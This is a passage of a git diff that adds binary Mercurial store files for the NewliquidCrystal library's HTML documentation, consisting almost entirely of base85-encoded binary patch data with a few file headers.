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 n#s|Az zP7Ci{nx?VE_7cm6>ccneW<*L!@8&x8>C!i^h*E8&>y791;l)jBH@y#{Gj9fgPU@G2Y-mob>ov_Te*c=Uxpo*I)fz zC+G04>YxXKGuC~J(mg*THR9U4uMgkeFfkO~xL4{1XV29=Wk;59PuTft{to3y56&hY z+$?VWY$~7I-45xwH>C|crMlBg?4y43h>5Uw^Ua@`6S{BJtmd!hb9h!48ic&KZuOa6 z_4%gsP*rnwA&xCy8P9L7}IdN3$dt?@WF502pEn Mp00i_>zopr08*^J-v9sr literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/class__liquid__crystal______s__r2__w-members.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/class__liquid__crystal______s__r2__w-members.html.i new file mode 100644 index 0000000000000000000000000000000000000000..4928ee1f6514837c5f9bc64084d529b7b584ecd5 GIT binary patch literal 3339 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 U9~hVnp00i_>zopr0Dhp#bWfv1bvJc_ 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 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/class__liquid__crystal______s__r3__w.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/class__liquid__crystal______s__r3__w.html.i new file mode 100644 index 0000000000000000000000000000000000000000..5093c62edc745e2a09dfc8d07162f67b43c8a5f9 GIT binary patch literal 5754 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 